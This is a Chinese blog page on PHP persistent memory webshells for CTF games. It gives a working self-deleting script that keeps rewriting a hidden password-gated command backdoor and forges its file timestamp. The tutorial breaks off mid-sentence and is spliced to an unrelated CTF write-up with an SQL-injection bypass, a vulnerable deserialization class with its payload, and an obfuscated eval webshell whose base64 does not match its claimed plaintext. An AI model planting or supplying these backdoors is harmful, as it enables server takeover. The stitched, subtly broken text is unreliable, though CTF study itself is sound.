PHP内存型木马

本文介绍了PHP内存性木马,也称为PHP不死马,详细阐述了其工作原理,包括ignore_user_abort()和set_time_limit()函数的使用,以及如何通过unlink()函数删除自身以隐藏踪迹。同时,文章提供了查杀这种木马的方法,包括重启服务、杀死www-data用户进程、创建同名目录以及编写竞争脚本等策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

基本概念

PHP内存性木马即PHP不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。

通常在AWD Web题中用得较多。

Demo及原理

nodie.php

<?php
	ignore_user_abort(true);
	set_time_limit(0);
	unlink(__FILE__);
	$file = '/var/www/dvwa/.ski12.php';
	$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
	while (1) {
		file_put_contents($file, $code);
		system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
		usleep(5000);
	}
?>

简单分析:

ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit()函数设置脚本最大执行时间。这里设置为0,

### BUU CTF PHP Web 挑战解题思路 #### 背景介绍 CTF(Capture The Flag)竞赛中的Web类题目通常涉及常见的Web安全漏洞,例如SQL注入、文件包含、命令执行等。BUUCTF作为国内知名的在线练习平台之一,提供了许多高质量的Web题目供选手学习和实践。 以下是针对BUUCTF中PHP Web挑战的一些常见解题思路: --- #### 一、SQL注入分析 对于类似`EasySQL`系列的题目,其核心在于发现并利用SQL注入漏洞来获取敏感信息或绕过验证逻辑[^3]。 - **检测输入点** 需要仔细观察页面是否存在动态参数传递的情况,比如URL中的GET请求参数或者表单提交的POST数据。 - **测试SQL语法边界** 使用特殊字符(如 `'`, `"` 或者 `--`)尝试破坏原有查询语句结构,进而推测数据库类及其版本号。 - **构造有效载荷** 如果确认存在未过滤干净的字符串拼接操作,则可以设计特定形式的数据包实现任意读取功能。例如,在登录界面可能通过如下方式完成身份冒充: ```sql admin' -- - ``` 上述方法能够使后续条件被注释掉从而始终返回真值记录。 --- #### 二、反序列化攻击探讨 某些情况下,应用程序会存储经过编码处理后的对象实例于客户端Cookie里头;当这些内容未经严格校验便重新加载回服务器端内存空间时就有可能触发远程代码执行风险。 假设目标站点允许自定义avatar路径,并且该字段最终会被写入session变量之中保存下来的话,我们就可以试着伪造恶意payload诱导程序调用危险函数达成目的。下面给出一段简单的演示代码片段用于说明这一过程: ```php <?php class User { public $cmd; function __destruct(){ system($this->cmd); } } if(isset($_GET['data'])){ unserialize($_GET['data']); } ?> ``` 此时只需访问链接类似于这样子就能成功弹出计算器窗口: http://example.com/vuln.php?data=O:4:"User":1:{s:3:"cmd";s:7:"calc.exe";} 注意实际比赛中往往还需要考虑更多因素才能顺利完成整个流程,比如白名单限制等等[^2]。 --- #### 三、文件上传机制剖析 关于图片后门植入方面也有少技巧可循。“一句话木马”的概念即是指那些体积小巧却威力巨大的脚本文件,它们仅需极少篇幅便可建立起完整的控制通道[^1]。 典例子像这样的base64加密过的php短标签形式: ```php <?php @eval(base64_decode("ZXZhbCgkX1BPU1RbJ3YnXTsg")); ?> ``` 它实际上等价于原始明文表达式: ```php <?php eval($_POST['v']); ?> ``` 一旦成功上载至指定目录下之后,攻击者就能够借助外部工具发起连接请求进一步操控受害主机资源了。 过现代框架普遍加强了这方面防护措施,所以单纯依赖传统手段已经难以奏效,必须结合其他旁路途径共同作用才行。 --- ### 结论 综上所述,解决BUUCTF里的PHP Web难题仅考验参赛者的理论基础扎实程度,更强调实战经验积累的重要。只有断总结归纳各类典案例特征规律,形成系统化的知识架构图谱,才能够从容应对各种复杂场景下的挑战需求。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值